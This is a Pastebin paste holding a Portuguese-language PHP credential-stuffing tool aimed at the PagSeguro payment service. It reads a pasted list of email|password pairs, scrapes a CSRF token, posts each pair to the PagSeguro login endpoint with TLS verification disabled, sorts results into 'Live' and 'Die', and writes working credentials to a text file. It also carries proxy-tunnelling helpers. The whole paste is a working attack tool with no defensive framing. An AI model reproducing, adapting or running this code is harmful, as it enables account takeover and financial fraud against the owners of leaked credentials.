Advertisement
Guest User

Untitled

a guest
Sep 22nd, 2016
43
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.83 KB | None | 0 0
  1. <?php
  2. $sock = '';
  3. error_reporting(0);
  4. function getStr($string,$start,$end){
  5. $str = explode($start,$string);
  6. $str = explode($end,$str[1]);
  7. return $str[0];
  8. }
  9. class cURL {
  10. var $callback = false;
  11. function setCallback($func_name) {
  12. $this->callback = $func_name;
  13. }
  14. function doRequest($method, $url) {
  15. $ch = curl_init();
  16. global $email, $pwd , $token;
  17. curl_setopt($ch, CURLOPT_URL, $url);
  18. curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json; charset=UTF-8'));
  19. curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
  20. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  21. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  22. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  23. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  24. curl_setopt($ch, CURLOPT_COOKIESESSION, true );
  25. curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd().'/casasbahia.txt');
  26. curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd().'/casasbahia.txt');
  27. curl_setopt($ch, CURLOPT_REFERER, 0);
  28. curl_setopt($ch, CURLOPT_VERBOSE, 1);
  29. if ($method == 'POST') {
  30. curl_setopt($ch, CURLOPT_POST, 1);
  31. curl_setopt($ch, CURLOPT_POSTFIELDS, 'dest=+REDIR%7Chttps%3A%2F%2Fpagseguro.uol.com.br%2F+&skin=&acsrfToken='.$token.'&user='.$email.'&pass='.$pwd);
  32.  
  33. }
  34. $data = curl_exec($ch);
  35. curl_close($ch);
  36. if ($data) {
  37. if ($this->callback) {
  38. $callback = $this->callback;
  39. $this->callback = false;
  40. return call_user_func($callback, $data);
  41. } else {
  42. return $data;
  43. }
  44. } else {
  45. return curl_error($ch);
  46. }
  47. }
  48. function get($url) {
  49. return $this->doRequest('GET', $url, 'NULL');
  50. }
  51. function post($url) {
  52. return $this->doRequest('POST', $url);
  53. }
  54. }
  55.  
  56. echo '
  57. <DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
  58. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  59. <head><title>TESTADOR Extra </title></head>
  60. <style>
  61. body
  62. {
  63. background-color: #141619;
  64. font-size: 9pt;
  65. font-family:Verdana;
  66. line-height:12pt;
  67. color: #FFFFFF;
  68. }
  69. body,td,th {
  70. color: #FFFFFF;
  71. }
  72. h2
  73. {
  74. color: #FFFFFF;
  75. }
  76. h1 {
  77. padding: 10px 15px;
  78. color: red;
  79. }
  80.  
  81. .main-content {
  82. width: 95%; height: 500px;margin: auto; background: #141619; border-radius: 5px 5px 5px 5px; box-shadow: 0 0 3px rgba(0, 0, 0, 0.5); min-height: 380px; position: relative;
  83. }
  84. textarea, input {
  85. border-radius: 5px 5px 5px 5px;
  86. }
  87. input {
  88. height: 14px;width: 30px;text-align: center;o
  89. }
  90.  
  91.  
  92. .button {
  93.  
  94. }
  95. .submit-button
  96. {
  97. background: #57A02C;
  98. border:solid 1px #57A02C;
  99. border-radius:5px;
  100. -moz-border-radius: 5px;
  101. -webkit-border-radius: 5px;
  102. -moz-box-shadow: 0 1px 3px rgba(0,0,0,0.6);
  103. -webkit-box-shadow: 0 1px 3px rgba(0,0,0,0.6);
  104. text-shadow: 0 -1px 1px rgba(0,0,0,0.25);
  105. border-bottom: 1px solid rgba(0,0,0,0.25);
  106. position: relative;
  107. color:#FFF;
  108. display: inline-block;
  109. cursor:pointer;
  110. font-size:13px;
  111. padding:3px 8px;
  112. height: 30px;width: 120px;
  113. }
  114. .submit-button:hover {
  115. background:#82D051;border:solid 1px #86CC50;
  116. height: 30px;width: 120px; }
  117.  
  118. #show {
  119. width: 70%;margin: auto;padding: 10px 10px;
  120. }
  121.  
  122. .business{
  123. font-weight:bold;
  124. color:yellow;
  125. }
  126. .premier{
  127. font-weight:bold;
  128. color:#00FF00;
  129. }
  130. .verified{
  131. font-weight:bold;
  132. color:#006DB0;
  133. }
  134. .fieldset{
  135. border: 1px dashed #FFFFFF;
  136. margin-top: 20px;
  137. }
  138. .tvmit_live{
  139. border: 1px dashed #FFFFFF;
  140. color:yellow;
  141. font-weight:bold;
  142. }
  143. .tvmit_die{
  144. border: 1px dashed #FFFFFF;
  145. color:red;
  146. font-weight:bold;
  147. }
  148. #result{
  149. display:none;
  150. }
  151. </style>
  152. <script type="text/javascript">
  153. function pushPaypalDie(str){
  154. document.getElementById(\'listPaypalDie\').innerHTML += \'<div>\' + str + \'</div>\';
  155. }
  156. function pushPaypal(str){
  157. document.getElementById(\'listPaypal\').innerHTML += \'<div>\' + str + \'</div>\';
  158. }
  159. function pushWrongFormat(str){
  160. document.getElementById(\'listWrongFormat\').innerHTML += \'<div>\' + str + \'</div>\';
  161. }
  162. </script>
  163. </head>
  164. <body>
  165. <div class="main-content">
  166. <center><h1>Extra icloude Checker</h1></center>
  167. <form method="post">
  168. <div align="center"><textarea name="mp" rows="10" style="width:90%">';
  169. if (isset($_POST['btn-submit']))
  170. echo $_POST['mp'];
  171. else
  172. echo 'EMAIL|SENHA';
  173. ;
  174. echo '</textarea><br />
  175. SEPARADOR: <input type="text" name="delim" value="';
  176.  
  177. if (isset($_POST['btn-submit']))
  178. echo $_POST['delim'];
  179. else
  180. echo '|';
  181. ;
  182. echo '" size="1" /><input type="hidden" name="mail" value="';
  183. if (isset($_POST['btn-submit']))
  184. echo $_POST['mail'];
  185. else
  186. echo 0;
  187. ;
  188. echo '" size="1" /><input type="hidden" name="pwd" value="';
  189. if (isset($_POST['btn-submit']))
  190. echo $_POST['pwd'];
  191. else
  192. echo 1;
  193. ;
  194. echo '" size="1" />&nbsp;
  195.  
  196. <input type="submit" class = "submit-button" value="CHECAR" name="btn-submit" /> </br>&nbsp;&nbsp;&nbsp;&nbsp;
  197. </div>
  198. </form>
  199. ';
  200. set_time_limit(0);
  201.  
  202. function fetch_value($str, $find_start, $find_end) {
  203. $start = strpos($str, $find_start);
  204. if ($start === false) {
  205. return "";
  206. }
  207. $length = strlen($find_start);
  208. $end = strpos(substr($str, $start + $length), $find_end);
  209. return trim(substr($str, $start + $length, $end));
  210. }
  211. function fetch_value_notrim($str, $find_start, $find_end) {
  212. $start = strpos($str, $find_start);
  213. if ($start === false) {
  214. return "";
  215. }
  216. $length = strlen($find_start);
  217. $end = strpos(substr($str, $start + $length), $find_end);
  218. return substr($str, $start + $length, $end);
  219. }
  220. $dir = dirname(__FILE__);
  221. $config['cookie_file'] = $dir . '/cookies/' . md5($_SERVER['REMOTE_ADDR']) . '.txt';
  222. if (!file_exists($config['cookie_file'])) {
  223. $fp = @fopen($config['cookie_file'], 'w');
  224. @fclose($fp);
  225. }
  226. $zzz = "";
  227. $live = array();
  228. function get($list) {
  229. preg_match_all("/\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}/", $list, $socks);
  230. return $socks[0];
  231. }
  232. function delete_cookies() {
  233. global $config;
  234. $fp = @fopen($config['cookie_file'], 'w');
  235. @fclose($fp);
  236. }
  237. function xflush() {
  238. static $output_handler = null;
  239. if ($output_handler === null) {
  240. $output_handler = @ini_get('output_handler');
  241. }
  242.  
  243. if ($output_handler == 'ob_gzhandler') {
  244. return;
  245. }
  246.  
  247. flush();
  248. if (function_exists('ob_flush') AND function_exists('ob_get_length') AND ob_get_length() !== false) {
  249. @ob_flush();
  250. } else if (function_exists('ob_end_flush') AND function_exists('ob_start') AND function_exists('ob_get_length') AND ob_get_length() !== FALSE) {
  251. @ob_end_flush();
  252. @ob_start();
  253. }
  254. }
  255. function curl_grab_page($site,$proxy,$proxystatus){
  256. $chss = curl_init();
  257. curl_setopt($chss, CURLOPT_RETURNTRANSFER, TRUE);
  258. if ($proxystatus == 'on') {
  259. curl_setopt($chss, CURLOPT_SSL_VERIFYHOST, FALSE);
  260. curl_setopt($chss, CURLOPT_HTTPPROXYTUNNEL, TRUE);
  261. curl_setopt($chss, CURLOPT_PROXY, $proxy);
  262. }
  263. curl_setopt($chss, CURLOPT_COOKIEFILE, "cookie.txt");
  264. curl_setopt($chss, CURLOPT_URL, $site);
  265. return curl_exec($chss);
  266. curl_close ($chss);
  267.  
  268. }
  269. function display($str) {
  270. echo '<div>' . $str . '</div>';
  271. xflush();
  272. }
  273. //function pushSockDie($str) {
  274. // echo '<script type="text/javascript">pushSockDie(\'' . $str . '\');</script>';
  275. // xflush();
  276. //}
  277. function pushPaypalDie($str) {
  278. echo '<script type="text/javascript">pushPaypalDie(\'' . $str . '\');</script>';
  279. file_put_contents('api/pagseguro_accountsdead.txt', $str . PHP_EOL, FILE_APPEND);
  280. xflush();
  281. }
  282. function pushPaypal($str) {
  283. echo '<script type="text/javascript">pushPaypal(\'' . $str . '\');</script>';
  284. file_put_contents('api/pagseguro_accounts.txt', $str . PHP_EOL, FILE_APPEND);
  285. xflush();
  286. }
  287. function pushWrongFormat($str) {
  288. echo '<script type="text/javascript">pushWrongFormat(\'' . $str . '\');</script>';
  289. xflush();
  290. }
  291.  
  292. if (isset($_POST['btn-submit'])) {
  293. ;
  294. echo '<br/>
  295. <br/>
  296. <br/>
  297. <br/>
  298. <br/>
  299. <br/>
  300. <br/>
  301. <legend class="tvmit_live">LIVE:<br/><div id="listPaypal"></div></legend>
  302. <br/>
  303. <legend class="tvmit_die">DIE:<br/><div id="listPaypalDie"></div></legend>
  304. <br/>
  305. <legend class="tvmit_die">INVALIDAS: <br/><div id="listWrongFormat"></div></legend>
  306.  
  307.  
  308. ';
  309. xflush();
  310. $emails = explode("\n", trim($_POST['mp']));
  311. $eCount = count($emails);
  312. $failed = $live = $uncheck = array();
  313. $checked = 0;
  314. if (!count($emails)) {
  315. continue;
  316. }
  317. delete_cookies();
  318. //$sockClear = isSockClear();
  319. //if ($sockClear != 1) {
  320. //pushSockDie('[<font color="#FF0000">' . $sock . '</font>]');
  321. //continue;
  322. //}
  323.  
  324. foreach ($emails AS $k => $line) {
  325. $info = explode($_POST['delim'], $line);
  326. $email = trim($info["{$_POST['mail']}"]);
  327. $pwd = trim($info["{$_POST['pwd']}"]);
  328. if (stripos($email, '@') === false || strlen($pwd) < 2) {
  329. unset($emails[$k]);
  330. pushWrongFormat($email . ' | ' . $pwd);
  331. continue;
  332. }
  333. //if ($failed[$sock] > 4)
  334. // continue;
  335. if(file_exists(getcwd().'/casasbahia.txt')) {
  336. unlink(getcwd().'/casasbahia.txt');
  337. }
  338.  
  339. $a = new cURL();
  340. $b = $a->get("https://pagseguro.uol.com.br/hub.jhtml");
  341. $token = getStr($b,'name="acsrfToken" value="','"');
  342. //$token = getStr($b,'var token = "','"');
  343. $c = new cURL();
  344. $d = $c->post("https://pagseguro.uol.com.br/login.jhtml");
  345.  
  346. $checked++;
  347.  
  348.  
  349. //if($d){
  350. //if (stristr($d,'"Erro":false') !== false) {
  351.  
  352.  
  353. if($d){
  354. if(preg_match("/Resumo da conta/", $d)) {
  355.  
  356. $xyz = "<b style=\"color:green\">Live</b> => <b style=\"color:white\" >$email</b> | <b style=\"color:white\">$pwd<b/> | Nome : $nome | CPF : $cpf | Local : $cidade/$estado |";
  357. $live[] = $xyz;
  358. unset($emails[$k]);
  359. pushPaypal($xyz);
  360.  
  361. }
  362. else{
  363.  
  364.  
  365. pushPaypalDie("<b style=\"color:red\">Die</b> => $sock | <b style=\"color:Gray11\" >$email<b> | $pwd ");
  366.  
  367. unset($emails[$k]);
  368.  
  369.  
  370. }
  371.  
  372. }
  373. }
  374. }
  375. //if (isset($eCount, $live)) {
  376. // display("<h3>Total: $eCount - Testado: $checked - Aprovado: " . count($live) . "</h5>");
  377. // display(implode("<br />", $live));
  378. if (count($emails)) {
  379. display("Sem Testar:");
  380. display('<textarea cols="80" rows="10">' . implode("\n", $emails) . '</textarea>');
  381. }
  382.  
  383. echo '</body>
  384. </html>';
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement